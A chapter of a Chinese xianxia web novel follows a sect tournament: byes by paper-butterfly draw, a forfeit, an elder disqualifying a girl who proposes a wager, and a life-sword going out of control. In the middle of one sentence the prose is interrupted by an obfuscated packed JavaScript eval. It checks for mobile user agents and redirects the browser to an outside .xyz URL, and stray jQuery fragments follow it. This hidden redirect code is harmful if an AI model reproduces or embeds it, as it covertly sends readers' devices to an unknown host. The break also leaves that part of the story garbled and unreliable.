清晨,云层渐渐发白,太阳未出,山未落雨,长夜悄然逝去。
玉苍派议事殿上,江素卿端坐主位,九十一名弟子井然有序地坐在殿内。
“各位弟子,从今日起,练武场比武台将连续举行五天的比武大会。本次比赛弟子们两两对战,胜者进入下一场比试,一共举行五场,直至确定五个参赛人选。”他一边说话,一边打开手中的木匣,淡淡道,“纸蝶两两一组,抓到相同纸蝶的弟子即为同场竞技。”
话音落地,木匣翻开,九十一只纸蝶便扑棱着翅膀飞向弟子。韩纪看着那栩栩如生的纸蝶,略微抬手,便有一只纸蝶落在她掌心,刹那之间,纸蝶收敛翅膀,化为淡淡的蓝色光斑。
大殿里,一时间下起了蓝色的光雨。
一只只短暂活过来的纸蝶在触碰到弟子肌肤的瞬间,纷纷消散。
待到最后一只纸蝶消散,所有的光雨便汇集在一起,于半空中形成了一道蓝色的光幕。
一个个名字开始显现,所有弟子的目光都追随着那些名字,韩纪自然也紧紧注视着眼前这美丽的一幕。
“天哪我对战清季师姐,我怎么打得赢啊,我认输算了。”
“你算什么,我打三师兄,那不是走个过场,我这凑数的人生啊。”
“明天我结束完会去看你的比赛的,你支撑得久一点。”
“支撑得久一点?你想让我被三师兄打死吗?”
身侧弟子的小声嘟囔声引起了韩纪的注意,她凝目望去,光幕上已经显现的名字之中并没有“楚清妙”这三个字,她随即把目光放在光幕的尽头。
终于,楚清妙那三个金色小字缓缓凝结而成,韩纪往下扫去,却没有看见自己对手的名字。
九十一个弟子,她轮空了,她就是那个多余的一。
周围的弟子开始议论。
“清妙师姐运气真好啊,居然轮空了,这下好了,她可以回屋睡大觉了。”
“算她运气好,以她的实力,如果不轮空,对上我的话,哈哈——”
“哈哈什么?你很能打么?”
“你等我把话说完嘛,如果不轮空,对上我,她就能顺理成章的晋级,然后美滋滋地回屋睡大觉了。”
韩纪本以为自己会听到许多的冷言冷语,却没料到会听到这样有意识的对话。
她心中那有些紧张的氛围顿时如云雾一般消散,不禁暗想:“玉苍派收的这群弟子,修仙上虽然没什么天分,说起话来倒是很有意思,平日里一定过得很快乐。”
轮空一场,韩纪并没有如身旁的小弟子说的那样回屋睡大觉。
她一整天都呆在练武场,尽可能地观察着比武台上玉苍派弟子的出招,不过一天,她心中便确定了最后获得参赛名额的弟子名单。
这些人中,论实力,魏九排第一,楚清季排第二,接下来是实力相差不多的楚清仪与方林,许慧君与陈知竹。
除此之外,她更是发现了一个问题:魏九在擂台上使得玉苍派剑招韩纪之前并没有见他用过,是巧合,还是说……他外出历练的这几年,有什么不为人知的奇遇?
韩纪沉思着,再次在他身上盖上了一个大大的问号。
次日清晨,晋级的四十六名弟子再次抽签,这一次韩纪对战的弟子名叫高易行。
韩纪直到站上擂台的那一刻,才知道这位高易行正是昨日说出“如果不轮空,对上我,她就能顺理成章的晋级,然后美滋滋地回屋睡大觉”那句话的小弟子。
金铃声止,擂台两侧的木桩缓缓升高,比赛开始。
韩纪抽出身后的青木杖,淡淡瞧着对面的高易行。
她神色不变,眉眼之中却有一股锐气,那锐气势如破竹,瞧得对面的高易行微微失神。
见高易行手中拿着玉笛,却不出手,韩纪便准备先发制人。
她方上前一步,高易行却突然后撤一步,大声道:“清妙师姐,我打不过你,我认输了。”
韩纪脸色微变,道:“你……打都不打便认输?”
高易行朝着韩纪微微一笑,道:“是的,我认输了。”
韩纪简直呆住了,她从未想过,在这种门内比武之中,居然会有弟子认输。
她站在原地,道:“二人比试,怎可未战先怯,不战而降。”
高易行闻言并不恼怒,他将玉笛插入腰间,神情自若地说:“我明知打不过你,还要与你相争,岂非蠢货一个;玉苍派弟子门内选拔,只分输赢不伤性命,不管是你去还是我去,咱们都是玉苍派的人,我的实力不如你,却在此处损耗你的力气,让你无法全力与其他门派的弟子比试,这岂非是我的罪过?比起成为一个犯下罪过的大大蠢货,我比较喜欢成为玉苍派之耻。”
说罢,他大笑着走下比武台,边走边道:“楚师姐,早些回去休息吧,明日恐怕还有硬仗要打呢。”
他的这番话,算是让韩纪开了眼界,也给韩纪留下了极为深刻的印象。
当然,第三日晋级弟子抽签时,韩纪给更多人留下了更深刻的印象,运气极好的她再次轮空一场。
这一次,便是韩纪也不得不怀疑魏九为了帮她背地里使了什么手段,可是纸蝶是她自己抓的,魏九如何能算准她会抓哪只纸蝶呢?
第四日,剩下的十二名弟子再次抽签确定对手,韩纪抓住纸蝶,看向光幕。
这一次,她对战的是位叫做颜如月的女弟子。
韩纪一步一步走到比武台上时,颜如月靠着比武台上升起的木柱,十分惬意地挥动着手中的折扇,那模样不像来比武,倒想来看戏。
由于此时只有六场比赛,比武台下高高低低站着许多弟子,这些弟子纷纷低声议论着:“也不知道是楚清妙赢还是颜如月赢,这个颜如月,怪得很,恐怕不好对付。”
“可楚清妙也不差呀,从前门内比试,她也经常闯进前十呢。”
“修为差不差不知道,人品见不得多好,如果不是她——”
“好啦好啦,掌门再三发话,说不能讲这些事情,你想挨罚吗?”
议论声中,有夸赞声,自然也有责备声,韩纪听得一清二楚,毫不在意。
细细观察着她神情的颜如月微微一笑,作了一揖。
韩纪前些日子观摩过颜如月的比赛,她心中十分清楚,颜如月手中那柄折扇暗藏玄机。
那柄折扇以幻影木为骨,天生藤抽丝制成扇面,合可召出藤蔓化作长鞭,分可布下幻阵诱人迷失,展则筑下屏障阻断路径,对于此时的她来说,确实有些难以应对。
韩纪正思索如何对付她,颜如月便笑嘻嘻道:“清妙师姐,这擂台我也打累了,不如我们换一个方式决出胜负如何?”
韩纪呆住了,道:“换……换成什么方式?”
颜如月慢摇折扇,目光缓缓移到远处的擂台上,缓缓道:“咱两要决出胜负,不一定要动手,毕竟修为相近,又都是花容月貌的女儿家,在这里拼了命打一场有何意义?不如这样,咱两赌一把,谁赢了谁就胜出,如何?”
韩纪挑眉,反驳道:“要赌怎么前几日不赌,遇上我你就要赌了?”
颜如月嫣然一笑,道:“那些臭男人,赌瘾大得很,赌品还不好。输了,怪天怪地怪风怪雨不怪自己,赢了嘛,全都是他一个人的功劳,我才不乐意和他们赌,我就乐意和女孩子赌。”
韩纪偏头看向二楼上监督的长老,朝他示意。
那位长老早就听清了这边的动静,皱眉道:“自古以来比武台上分修为高下,赌如何能分得出?更何况玉苍派门规严禁弟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113599|177381||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子沾染赌博,颜如月你莫要胡闹。”
颜如月闻言不气不恼,含笑答道:“普长老,运气也是实力的一部分呀!如果一个人连赌都赌不赢,打又怎么可能打得赢呢?更何况,我们又不赌钱财灵宝,我们只不过赌自己的输赢罢了。”
“赌就是赌!”普长老严辞厉色,不容辩驳地说,“今日小赌,明日就能大赌!赌来赌去,一无所有!此法决不可行,你二人速速动手吧!”
颜如月眼波一转,道:“那我们不赌,也不动手,可不可以?”
普长老抚须道:“不赌,也不动手,你们如何分出胜负?”
颜如月瞧了韩纪一眼,沉吟片刻,笑道:“长老,你说出一件事,谁先做到,谁就赢了,可不可以?”
普长老跃下楼来,身形如一阵风般飞快落在比武台上。他看向颜如月,淡淡道:“你确定要用这种方式与楚清妙分出胜负么?”
颜如月微笑着瞧着普长老,点了点头,道:“这样才有意思。”
普长老偏头看向韩纪,自然是在询问韩纪的意见。韩纪道:“一切都听普长老的。”
普长老手指轻弹,悬在比武台上空的金铃便震颤起来,叮当叮当的响个不停。金铃响则胜负分,所有人都诧异地看着普长老。
颜如月更是震惊,她愣了刹那,反应过来后立刻说道:“长老,还没比呢,怎么就分了输赢?”
普长老正声道:“比武台上,两两对决,一试高下,是规矩。你违反了规矩,自然就没有了比试资格,你输了。”
颜如月脸上已然没有了方才志得意满的笑容,她瞪着眼睛想反驳,可瞥见普长老阴沉着的脸,又将那些话咽进肚子里。
普长老冷冷道:“你是不是觉得很委屈?觉得我又死板,又不讲理?”
“是。”颜如月撇了撇嘴,道,“我不知道错在哪里,我下山历练的时候,遇见的人并不是全部拼修为定输赢,他们有拼运气的,有拼智慧的,从来没有人说那些是不守规矩。我觉得,就是门派里的这些规矩太多,我们这些玉苍派的弟子下了山之后才会吃那么多亏。”
普长老严肃地说:“变通并不是一件坏事,运气,智慧都是决定胜负的关键因素,可如果你的敌人根本不和你变通,一心只想杀你,你该怎么办呢?在绝对的实力面前,任何的阴谋诡计都只是徒劳,如果今日你有百分百的把握可以胜过清妙,你还会换一种方式和她比试么?”
颜如月沉吟片刻,道:“会。”
普长老眸色一暗,叹了口气,翩然离去。
因着自己的心思被普长老揭破,颜如月想挤出一个得体的笑容掩饰尴尬,可她提起嘴角,眼睛便落了下去,笑得比哭还难看。
她跺了跺脚,跃下比武台,挤出人丛,逃也似的离开了练武场。
韩纪看着颜如月的背影,叹了口气。
台下的弟子本在感慨韩纪的运气之好,练武场上空便响起了一阵凄厉尖锐的剑鸣。
这声音让所有人都变了脸色,所有人都将目光望向传来这诡异声响的方向。
韩纪抬眼看去,也不由得吃了一惊。
不远处的比武台上,许慧君面色惨白地跌倒在地,胸口一个血淋淋的剑洞。
在她身前,陈知竹满头大汗,青筋暴起地控制着自己在半空之中飞舞的命剑。
命剑失控!
所有弟子都被这一幕看呆了。
普长老的身影朝着那擂台飞驰而去。
嗤的一声,那柄飞剑径直穿透了陈知竹的胸膛,直奔许慧君而去。
韩纪眼疾手快地掷出青木杖,生死攸关的一刹,青木杖铛的一声撞歪锋利的长剑。
许慧君被赶来的普长老救走,沾满鲜血的长剑歪歪斜斜地落在地上,断成两截。